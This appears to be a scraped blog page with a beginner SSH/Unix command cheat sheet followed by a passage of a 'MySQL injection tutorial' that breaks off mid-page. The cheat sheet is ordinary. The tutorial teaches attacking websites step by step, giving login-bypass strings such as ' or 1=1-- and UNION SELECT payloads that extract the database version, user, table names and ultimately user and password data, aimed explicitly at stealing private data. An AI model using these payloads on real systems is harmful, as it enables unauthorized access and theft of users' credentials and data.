SSH Cheat Sheet

<div dir="ltr" style="text-align: left;" trbidi="on"><h1 id="post-359" style="color: #674ea7;">SSH Cheat Sheet</h1><span style="color: #674ea7;"> This page designed to help beginners starting out with SSH by providing a usable “SSH cheat sheet” full of common commands.</span><br /><dl style="color: #674ea7;"><dt>Delete an entire directory and all of its contents:</dt><dd><code>rm -r -f YourDirectory</code> What’s happening: rm = remove / delete -r = recursively deletes the directory and all files in it, including subdirectories -f = will not ask for confirmation before deleting</dd><dt>Extract a TAR.GZ File<a name="more"></a></dt><dd><code>tar -xvf yourfilename.tar.gz</code> What’s happening: tar – is calling the tar program -x – extract -z – it’s gzipped (so omit the z if you merely have a .tar file) -f – supplying filename on command line.</dd><dt>Move a directory and/or files to another location on the server:</dt><dd><code>mv directory/* html/ </code> What’s happening: mv – move directory/* – All files/folders inside the Directory folder html/ – Location of where the files will be moved to</dd></dl><span style="color: #674ea7; font-family: Verdana,Verdana; font-size: xx-small;"><b>Note</b>: When something is specified in brackets, such as <b>[command]</b> or <b>[filename]</b>, it is used to indicate that you must input your desired information here. <i>Do NOT include brackets in your command</i>.<b>Navigating in UNIX</b></span><br /><table border="0" cellpadding="3" cellspacing="1" style="color: #674ea7;"><tbody><tr><td bgcolor="#dedede" width="170"><b><span style="font-family: Verdana; font-size: xx-small;">pwd</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Shows the full path of the current directory</span></td></tr><tr><td bgcolor="#dedede"><b><span style="font-family: Verdana; font-size: xx-small;">ls</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Lists all the files in the current directory</span></td></tr><tr><td bgcolor="#dedede"><b><span style="font-family: Verdana; font-size: xx-small;">ls -al</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Lists all files and information</span></td></tr><tr><td bgcolor="#dedede"><b><span style="font-family: Verdana; font-size: xx-small;">ls –alR</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Lists all files and information in all subdirectories</span></td></tr><tr><td bgcolor="#dedede"><b><span style="font-family: Verdana; font-size: xx-small;">ls -alR | more</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Same as </span><b><span style="font-family: Verdana; font-size: xx-small;">ls –alR, </span></b><span style="font-family: Verdana; font-size: xx-small;">pausing when screen becomes full</span></td></tr><tr><td bgcolor="#dedede"><b><span style="font-family: Verdana; font-size: xx-small;">ls -alR > filename.txt</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Same as </span><b><span style="font-family: Verdana; font-size: xx-small;">ls –alR,</span></b><span style="font-family: Verdana; font-size: xx-small;"> outputs the results to a file</span></td></tr><tr><td bgcolor="#dedede"><b><span style="font-family: Verdana; font-size: xx-small;">ls *.html</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Lists all files ending with .html</span></td></tr><tr><td bgcolor="#dedede"><b><span style="font-family: Verdana; font-size: xx-small;">cd [directory name]</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Changes to a new directory</span></td></tr><tr><td bgcolor="#dedede"><b><span style="font-family: Verdana; font-size: xx-small;">cd ..</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Changes to directory above current one</span></td></tr><tr><td bgcolor="#dedede"><b><span style="font-family: Verdana; font-size: xx-small;">clear</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Clears the screen</span></td></tr><tr><td bgcolor="#dedede"><b><span style="font-family: Verdana; font-size: xx-small;">vdir</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Gives a more detailed listing than the “ls” command</span></td></tr><tr><td bgcolor="#dedede"><b><span style="font-family: Verdana; font-size: xx-small;">exit</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Log off your shell</span></td></tr></tbody></table><span style="color: #674ea7; font-family: Verdana,Verdana; font-size: xx-small;"><b>Moving, Copying and Deleting Files</b></span><br /><table border="0" cellpadding="3" cellspacing="1" style="color: #674ea7;"><tbody><tr><td bgcolor="#dedede" width="250"><b><span style="font-family: Verdana; font-size: xx-small;">mv [old filename] [new filename]</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Move/rename a file</span></td></tr><tr><td bgcolor="#dedede"><b><span style="font-family: Verdana; font-size: xx-small;">cp [filename] [new filename]</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Copies a file</span></td></tr><tr><td bgcolor="#dedede"><b><span style="font-family: Verdana; font-size: xx-small;">rm [filename]</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Deletes a file</span></td></tr><tr><td bgcolor="#dedede"><b><span style="font-family: Verdana; font-size: xx-small;">rm *</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Deletes all files in current directory</span></td></tr><tr><td bgcolor="#dedede"><b><span style="font-family: Verdana; font-size: xx-small;">rm *.html</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Deletes all files ending in .html</span></td></tr></tbody></table><span style="color: #674ea7; font-family: Verdana,Verdana; font-size: xx-small;"><b>Creating, Moving, Copying and Deleting Directories</b></span><br /><table border="0" cellpadding="3" cellspacing="1" style="color: #674ea7;"><tbody><tr><td bgcolor="#dedede" width="250"><b><span style="font-family: Verdana; font-size: xx-small;">mkdir [directory name]</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Creates a new directory</span></td></tr><tr><td bgcolor="#dedede"><b><span style="font-family: Verdana; font-size: xx-small;">ls -d */</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Lists all directories within current directory</span></td></tr><tr><td bgcolor="#dedede"><b><span style="font-family: Verdana; font-size: xx-small;">cp -r [directory] [new directory]</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Copies a directory and all files/directories in it</span></td></tr></tbody></table><span style="color: #674ea7; font-family: Verdana,Verdana; font-size: xx-small;"><b>Searching Files and Directories</b></span><br /><table border="0" cellpadding="3" cellspacing="1" style="color: #674ea7;"><tbody><tr><td bgcolor="#dedede" width="185"><b><span style="font-family: Verdana; font-size: xx-small;">find . -name [filename] -print</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Searches for a file starting with current directory</span></td></tr><tr><td bgcolor="#dedede"><b><span style="font-family: Verdana; font-size: xx-small;">grep [text] [filename]</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Searches for text within a file</span></td></tr></tbody></table><span style="color: #674ea7; font-family: Verdana,Verdana; font-size: xx-small;"><b>File and Directory Permissions</b>There are three levels of file permissions: read, write and execute.  In addition, there are three groups to which you can assign permissions: file owner, user group and everyone.  The command <b>chmod</b> followed by three numbers is used to change permissions.  The first number is the permission for the owner, the second for the group and the third for everyone.  Here are how the levels of permission translate:</span><br /><table border="0" cellpadding="3" cellspacing="1" style="color: #674ea7;"><tbody><tr><td bgcolor="#dedede" width="31%"><b><span style="font-family: Verdana; font-size: xx-small;">0 = —</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">No permission</span></td></tr><tr><td bgcolor="#dedede"><b><span style="font-family: Verdana; font-size: xx-small;">1 = –X</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Execute only</span></td></tr><tr><td bgcolor="#dedede"><b><span style="font-family: Verdana; font-size: xx-small;">2 = -W-</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Write only</span></td></tr><tr><td bgcolor="#dedede"><b><span style="font-family: Verdana; font-size: xx-small;">3 = -WX</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Write and execute</span></td></tr><tr><td bgcolor="#dedede"><b><span style="font-family: Verdana; font-size: xx-small;">4 = R–</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Read only</span></td></tr><tr><td bgcolor="#dedede"><b><span style="font-family: Verdana; font-size: xx-small;">5 = R-X</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Read and execute</span></td></tr><tr><td bgcolor="#dedede"><b><span style="font-family: Verdana; font-size: xx-small;">6 = RW-</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Read and write</span></td></tr><tr><td bgcolor="#dedede"><b><span style="font-family: Verdana; font-size: xx-small;">7 = RWX</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Read, write and execute</span></td></tr></tbody></table><span style="color: #674ea7; font-family: Verdana,Verdana; font-size: xx-small;">It is preferred that the group always have permission of 0.  This prevents other users on the server from browsing files via Telnet and FTP.  Here are the most common file permissions used:</span><br /><table border="0" cellpadding="3" cellspacing="1" style="color: #674ea7;"><tbody><tr><td bgcolor="#dedede" width="176"><b><span style="font-family: Verdana; font-size: xx-small;">chmod 604 [filename]</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Minimum permissions for HTML file</span></td></tr><tr><td bgcolor="#dedede"><b><span style="font-family: Verdana; font-size: xx-small;">chmod 705 [directory name]</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Minimum permissions for directories</span></td></tr><tr><td bgcolor="#dedede"><b><span style="font-family: Verdana; font-size: xx-small;">chmod 755 [filename]</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Minimum permissions for scripts & programs</span></td></tr><tr><td bgcolor="#dedede"><b><span style="font-family: Verdana; font-size: xx-small;">chmod 606 [filename]</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Permissions for data files used by scripts</span></td></tr><tr><td bgcolor="#dedede"><b><span style="font-family: Verdana; font-size: xx-small;">chmod 703 [directory name]</span></b></td><td bgcolor="#dedede"><span style="font-family: Verdana; font-size: xx-small;">Write-only permissions for public FTP uploading</span></td></tr></tbody></table><span style="color: #674ea7; font-family: Verdana,Verdana; font-size: xx-small;"> </span><br /><h3 style="color: #674ea7;"><span style="font-family: Verdana; font-size: xx-small;">How do I unzip a file with telnet?</span></h3><span style="color: #674ea7; font-family: Verdana; font-size: xx-small;">All of the below commands assume that you are within the same directory that the compressed file is in. To be sure type: </span><b style="color: #674ea7;"><span style="font-family: Verdana; font-size: xx-small;">ls</span></b><span style="color: #674ea7; font-family: Verdana; font-size: xx-small;"> {enter} If the file is there, you’re ready to go. If not type: </span><b style="color: #674ea7;"><span style="font-family: Verdana; font-size: xx-small;">cd /big/dom/xdomain/www/directory/</span></b><span style="color: #674ea7; font-family: Verdana; font-size: xx-small;"> {enter} replacing the path with the correct path to your file. If a file ends in .zip (for example, file.zip) type: </span><b style="color: #674ea7;"><span style="font-family: Verdana; font-size: xx-small;">unzip file.zip</span></b><span style="color: #674ea7; font-family: Verdana; font-size: xx-small;"> If a file ends in .tar (e.g., file.tar) type: </span><b style="color: #674ea7;"><span style="font-family: Verdana; font-size: xx-small;">tar -xvf file.tar</span></b><span style="color: #674ea7; font-family: Verdana; font-size: xx-small;"> If a file ends in .gz (for example, file.gz) type: </span><b style="color: #674ea7;"><span style="font-family: Verdana; font-size: xx-small;">gzip -d file.gz</span></b><span style="color: #674ea7; font-family: Verdana; font-size: xx-small;"> If a file ends in .tar.gz (e.g. file.tar.gz) type: </span><b style="color: #674ea7;"><span style="font-family: Verdana; font-size: xx-small;">gzip -d file.tar.gz</span></b><span style="color: #674ea7; font-family: Verdana; font-size: xx-small;"> and then </span><b style="color: #674ea7;"><span style="font-family: Verdana; font-size: xx-small;">tar -xvf file.tar</span></b><span style="color: #674ea7; font-family: Verdana; font-size: xx-small;"> If a file ends in .tgz (e.g. file.tgz) </span><br /><table border="0" cellpadding="0" cellspacing="0" style="color: #674ea7;"><tbody><tr align="left" valign="top"><td width="698"><table border="0" cellpadding="3" cellspacing="3" id="Table16" style="width: 698px;"><tbody><tr><td><span style="font-family: Verdana,Helvetica; font-size: xx-small;"><a href="http://www.blogger.com/post-edit.g?blogID=3385998300716176663&postID=5445465549814877012" name="zip"></a><b>zip [options] [zipfile] [files]</b></span></td></tr><tr><td bgcolor="#dedede" width="666"><div align="justify"><span style="font-family: Verdana,Helvetica; font-size: xx-small;">The zip command compresses a file or list of files into a zip format archive file. This command is compatible with pkzip on a PC. Simply type “zip zipfile file1 file2 file3″ at a telnet command prompt and replace zipfile with the name you want to use for your compressed zip archive file, and replace fileX with the name of the file(s) you want to compress into the zip archive.</span></div></td></tr><tr><td bgcolor="#dedede" width="666"><div align="justify"><span style="font-family: Verdana,Helvetica; font-size: xx-small;">For example, type “zip backup.zip home.html index.html” at a telnet command prompt to compress and archive the files called home.html and index.html into the file called backup.zip.</span></div></td></tr></tbody></table></td></tr></tbody></table><table border="0" cellpadding="0" cellspacing="0" style="color: #674ea7;"><tbody><tr align="left" valign="top"><td><br /></td><td><br /></td></tr><tr align="left" valign="top"><td><br /></td><td width="698"><table border="0" cellpadding="3" cellspacing="3" id="Table12" style="width: 698px;"><tbody><tr><td><span style="font-family: Verdana,Helvetica; font-size: xx-small;"><a href="http://www.blogger.com/post-edit.g?blogID=3385998300716176663&postID=5445465549814877012" name="unzip"></a><b>unzip [options] [zipfile]</b></span></td></tr><tr><td bgcolor="#dedede" width="666"><div align="justify"><span style="font-family: Verdana,Helvetica; font-size: xx-small;">The unzip command extracts a zip format archive file. This command is compatible with pkunzip files from a PC. Simply type “unzip zipfile” at a telnet command prompt and replace zipfile with the name of your zip format archive file.</span></div></td></tr><tr><td bgcolor="#dedede" width="666"><div align="justify"><span style="font-family: Verdana,Helvetica; font-size: xx-small;">For example, type “unzip -aL old.zip” at a telnet command prompt to extract files contained in the archive called old.zip. The “-aL” are options that are generally useful when unzipping files created on a PC.</span></div></td></tr></tbody></table></td></tr></tbody></table></div>

SSH Cheat Sheet

SSH Cheat Sheet This page designed to help beginners starting out with SSH by providing a usable “SSH cheat sheet” full of common commands....

Read more »

SQL Injection Complete

<div dir="ltr" style="text-align: left;" trbidi="on"><m:smallfrac m:val="off"> <m:dispdef> <m:lmargin m:val="0"> <m:rmargin m:val="0"> <m:defjc m:val="centerGroup"> <m:wrapindent m:val="1440"> <m:intlim m:val="subSup"> <m:narylim m:val="undOvr"> </m:narylim></m:intlim> </m:wrapindent> </m:defjc></m:rmargin></m:lmargin></m:dispdef></m:smallfrac><br /><div align="center" class="MsoNormal" style="text-align: center;"><b><i><u><span style="color: #7030a0; font-size: 16pt; line-height: 115%;">MySQL injection tutorial (Complete)</span></u></i></b></div><div align="center" class="MsoNormal" style="text-align: center;"><b><i><u><span style="color: #7030a0; font-size: 16pt; line-height: 115%;">by Hardeep Singh</span></u></i></b></div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;"><b><u><span style="color: red;">TABLE OF CONTENT:</span></u></b></div><div class="MsoNormal" style="text-align: justify;">#INTRO</div><div class="MsoNormal" style="text-align: justify;">#WHAT IS DATABASE?</div><div class="MsoNormal" style="text-align: justify;">#WHAT IS SQL INJECTION?</div><div class="MsoNormal" style="text-align: justify;">#BYPASSING LOGINS</div><div class="MsoNormal" style="text-align: justify;">#ACCESSING SECRET DATA</div><div class="MsoNormal" style="text-align: justify;">#Checking for vulnerability</div><div class="MsoNormal" style="text-align: justify;">#Find the number of columns</div><div class="MsoNormal" style="text-align: justify;">#Addressing vulnerable part</div><div class="MsoNormal" style="text-align: justify;">#Finding MySQL version</div><div class="MsoNormal" style="text-align: justify;">#MySQL 5 or above injection</div><div class="MsoNormal" style="text-align: justify;">#MySQL 4 injection</div><div class="MsoNormal" style="text-align: justify;">#MODIFYING SITE CONTENT</div><div class="MsoNormal" style="text-align: justify;">#SHUTTING DOWN THE MySQL SERVER</div><div class="MsoNormal" style="text-align: justify;">#LOADFILE</div><div class="MsoNormal" style="text-align: justify;">#MySQL ROOT</div><div class="MsoNormal" style="text-align: justify;">#MAJOR MySQL COMMANDS</div><div class="MsoNormal" style="text-align: justify;">#FINALIZING THE INJECTION TUTORIAL</div><a name="more"></a><br /><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;"><b><u><span style="color: red;">INTRO!!</span></u></b></div><div class="MsoNormal" style="text-align: justify;">Greetz to all, I'm Hardeep. In this tutorial, I will demonstrate the infamous MySQL injection in newbie perspective so that all the newbies become able to become successful SQL injector. But, be sure to check various php & mysql functions in various sites which will help you a lot... Also do not be harsh on me if there are any grammatical errors on the tutorial bcoz English is not my native language. Now lets begin our walkthrough of SQL injection.</div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;"><b><u><span style="color: red;">WHAT IS DATABASE?</span></u></b></div><div class="MsoNormal" style="text-align: justify;">Just general info.. Database is the application that stores a collection of data. Database offers various APIs for creating, accessing and managing the data it holds. And database(DB) servers can be integrated with our web development so that we can pick up the things we want from the database without much difficulties. DB may hold various critical informations like usernames, passwords, credit cares,etc. So, DB need to be secured but many DB servers running are insecured either bcoz of their vulnerability or bcoz of poor programming handles. To name few DB servers, MySQL(Open source), MSSQL, MS-ACCESS, Oracle, Postgre SQL(open source), SQLite, etc.</div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;"><b><u><span style="color: red;">WHAT IS SQL INJECTION?</span></u></b></div><div class="MsoNormal" style="text-align: justify;">SQL injection is probably the most abundant programming flaw that exists on the internet at present. It is the vulnerability through which unauthorized person can access the various critical and private dat. SQL injection is not a flaw in the web or db server but but is a result of the poor and inexperienced programming practices. And it is one of the deadliest as well as easiest attack to execute from remote location.</div><div class="MsoNormal" style="text-align: justify;">In SQL injection, we interact with DB server with the various commands and get various data from it. In this tutorial, I would be discussing 3 aspects of SQL injection namely bypassing logins, accessing the secret data and modifying the page contents. So lets head forward on our real walkthrough..</div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;"><b><u><span style="color: red;">BYPASSING LOGINS</span></u></b></div><div class="MsoNormal" style="text-align: justify;">Suppose, a site has a login form & only the registered users are allowed to enter the site. Now, say u wanted to bypass the login and enter the site as the legitimate user. If the login scriptblock is not properly sanitized by the programmer, u may have luck to enter the site. U might be able to login into the site without knowing the real username and real password by just interacting with the DB server. So, isn't that the beauty of SQL injection??</div><div class="MsoNormal" style="text-align: justify;">Let's see an example, where the username admin with the password pass123 can login to the site. Suppose, the SQL query for this is carried out as below:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #4f81bd;">SELECT USER from database WHERE username='admin' AND password='pass123'</span></i></b></div><div class="MsoNormal" style="text-align: justify;">And if above SELECT command evaluates true, user will be given access to the site otherwise not. Think what we could do if the scriptblock is not sanitized. This opens a door for the hackers to gain illegal access to the site.</div><div class="MsoNormal" style="text-align: justify;">In this example, the attacker can enter the following user data in the login form:</div><div class="MsoNormal" style="text-align: justify;">username: <i>a or 1=1--</i></div><div class="MsoNormal" style="text-align: justify;">password:<i>blank</i></div><div class="MsoNormal" style="text-align: justify;">So, this would make our query as:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #4f81bd;">SELECT USER from database WHERE username='a' or 1=1-- AND password=''</span></i></b></div><div class="MsoNormal" style="text-align: justify;">Note that -- is the comment operator and anything after it will be ignored as a comment. There exists another comment operator which is /*.</div><div class="MsoNormal" style="text-align: justify;">So our above query becomes:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #4f81bd;">SELECT USER from database WHERE username='a' or 1=1</span></i></b></div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;">Now this query evaluates true even if there is no user called 'a' bcoz 1=1 is always true and using OR makes the query return true when one of the query is true. And this gives access to the site admin panel.</div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;">There can be various other username and password combinations to play with the vulnerable sites. U can create ur own new combinations for the site login.</div><div class="MsoNormal" style="text-align: justify;">Few such combinations are:</div><div class="MsoNormal" style="text-align: justify;">username:<i>' or 1='1 password:' or 1='1</i></div><div class="MsoNormal" style="text-align: justify;">username:<i>' or '1'='1' password:' or '1'='1'</i></div><div class="MsoNormal" style="text-align: justify;">username:or 1=1 password:or 1=1</div><div class="MsoNormal" style="text-align: justify;">and there are many more cheat sheets. Just google. In fact, you can create your own such combination to bypass logins..</div><div class="MsoNormal" style="text-align: justify;">That's all about bypassing logins.</div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: red;">ACCESSING SECRET DATA</span></i></b></div><div class="MsoNormal" style="text-align: justify;">SQL injection is not essentially done for bypassing logins only but it is also used for accessing the sensitive and secret data in the DB servers. This part is long, so I would be discussing in the subsections.</div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;"><b><u><span style="color: #00b050;">Sub-section 1:</span></u></b></div><div class="MsoNormal" style="text-align: justify;">Checking for vulnerability</div><div class="MsoNormal" style="text-align: justify;">Suppose, u got a site:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">http://www.site.com/article.php?id=5</span></i></b></div><div class="MsoNormal" style="text-align: justify;">Now to check if it is vulnerable, u would simply add ' in the end i.e. where id variable is assigned.</div><div class="MsoNormal" style="text-align: justify;">So, it is:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5'</span></i></b></div><div class="MsoNormal" style="text-align: justify;">Now if the site is not vulnerable, it filters and the page loads normally.</div><div class="MsoNormal" style="text-align: justify;">But, if it doesn't filter the query string, it would give the error something like below:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">"MySQL Syntax Error By '5'' In Article.php on line 15."</span></i></b></div><div class="MsoNormal" style="text-align: justify;">or</div><div class="MsoNormal" style="text-align: justify;">error that says us to check the correct MySQL version or MySQL Fetch error or sometimes just blank page. The error may be in any form. So it makes us sure that the site is vulnerable.</div><div class="MsoNormal" style="text-align: justify;">Also just using ' may not be the sure test; so you may try different things like:</div><div class="MsoNormal" style="text-align: justify;">www.site.com/article.php?id=5 union select 1--</div><div class="MsoNormal" style="text-align: justify;">If you get error with this, you again come to know that its vulnerable... Just try different things..</div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;"><b><u><span style="color: #00b050;">Sub-section 2:</span></u></b></div><div class="MsoNormal" style="text-align: justify;">Find the number of columns</div><div class="MsoNormal" style="text-align: justify;">So, now its time to find the number of columns present. For this purpose, we will be using 'order by' until we get error.</div><div class="MsoNormal" style="text-align: justify;">That is, we make our URL query as:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 order by 1/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;">//this didn't give error.</div><div class="MsoNormal" style="text-align: justify;">Now, I do increase it to 2.</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 order by 2/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;">//still no error</div><div class="MsoNormal" style="text-align: justify;">So, we need to increase until we get the error.</div><div class="MsoNormal" style="text-align: justify;">In my example, I got error when I put the value 3 i.e.</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 order by 3/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;">//this gave me error.</div><div class="MsoNormal" style="text-align: justify;">So, it means there are 2 columns in the current table(3-1=2). This is how we find the number of columns.</div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;"><b><u><span style="color: #00b050;">Sub-section 3:</span></u></b></div><div class="MsoNormal" style="text-align: justify;">Addressing Vulnerable Part:</div><div class="MsoNormal" style="text-align: justify;">Now, we need to use union statement & find the column which we can replace so as to see the secret data on the page.</div><div class="MsoNormal" style="text-align: justify;">First lets craft the union statement which won't error.. This becomes like this:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT null/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;">This would error because our query needs to have one more null there.. Also null doesn't cause any type conversion error as it is just null..</div><div class="MsoNormal" style="text-align: justify;">So for our injection, it becomes:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT null,null/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;">For this we do:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT 1,2/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;">Now we will see the number(s) on the page somewhere. I mean, either 1 or 2 or both 1 & 2 are seen on the page. Note that the number may be displayed anywhere like in the title of the page or sometime even in the hidden tags in the source.. So, this means we can replace the number with our commands to display the private data the DB holds.</div><div class="MsoNormal" style="text-align: justify;">In my example, 1 is seen on the page. This means, I should replace 1 with my things to proceed further. Got it?? So lets move forward.</div><div class="MsoNormal" style="text-align: justify;">Quick note: Sometime the numbers may not be displayed so it becomes hard for you to find the column which you can use to steal the data.. So in that case, you may try something like below:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT xyz123,null/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;">or</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT null,xyz123/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;">If xyz123 is displayed somewhere in the page, you may go further for injection replacing the text part... Here, I have kept text instead of integer to check if text is displayed... Also, be sure to check source because sometimes they may be in some hidden tags..</div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;"><b><u><span style="color: #00b050;">Sub-section 4:</span></u></b></div><div class="MsoNormal" style="text-align: justify;"><b><i><u><span style="color: red;">Finding MySQL version:</span></u></i></b></div><div class="MsoNormal" style="text-align: justify;">For our injection, it is necessary to find the MySQL version bcoz if it is 5, our job becomes lot easier. To check the version, there is a function @@version or version().</div><div class="MsoNormal" style="text-align: justify;">So, what we do is replace 1(which is the replaceable part) with @@version i.e. we do as below:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT @@version,2/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;">or</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT version(),2/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;">So, this would return the version of MySQL running on the server.</div><div class="MsoNormal" style="text-align: justify;">But, sometimes u may get error with above query. If that is the case, do use of unhex(hex()) function like this:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=UNION ALL SELECT unhex(hex(@@version)),2/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;">Remember that if u have to use unhex(hex()) function here, u will also have to use this function in the injection process later on.</div><div class="MsoNormal" style="text-align: justify;">@@version will give u the version. It may be either 4(or below) or 5 & above. I m now going to discuss the injection process for version 5 and 4 separately coz as I said earlier, version 5 makes it easy for us to perform the injection.</div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;">Quick note: Also, you may check for user, database,etc.. by using following:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT user(),2/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">http://www.site.com/article.php?id=5 UNION ALL SELECT database(),2/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;"><b><i><u><span style="color: #00b050;">Sub-section 5:</span></u></i></b></div><div class="MsoNormal" style="text-align: justify;"><u><span style="color: red;">MySQL 5 or above injection:</span></u></div><div class="MsoNormal" style="text-align: justify;">Here, I m gonna show u how to access data in the server running MySQL 5 or above.</div><div class="MsoNormal" style="text-align: justify;">U got MySQL version 5.0.27 standard using the @@version in url parameter. MySQL from version 5 has a useful function called information_schema. This is table that holds information about the tables and columns present in the DB server. That is, it contains name of all tables and columns of the site.</div><div class="MsoNormal" style="text-align: justify;">For getting table list, we use: table_name from information_schema.tables</div><div class="MsoNormal" style="text-align: justify;">For getting column list, we use: column_name from information_schema.columns</div><div class="MsoNormal" style="text-align: justify;">So our query for getting the table list in our example would be:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT table_name, 2 FROM information_schema.tables/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;">And yeah if u had to use unhex(hex()) while finding version, u will have to do:</div><div class="MsoNormal" style="text-align: justify;"><b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT unhex(hex(table_name)),2 FROM information_schema.tables/*</span></i></b></div><div class="MsoNormal" style="text-align: justify;"><br /></div><div class="MsoNormal" style="text-align: justify;">This will list all the tables present in the DB. For our purpose, we will be searching for the table containing the user and password information. So we look the probable table with that information. U can even write down the table names for further reference and works. For my example, I would use the tbluser as the table that contains user & password.</div><div class="MsoNormal" 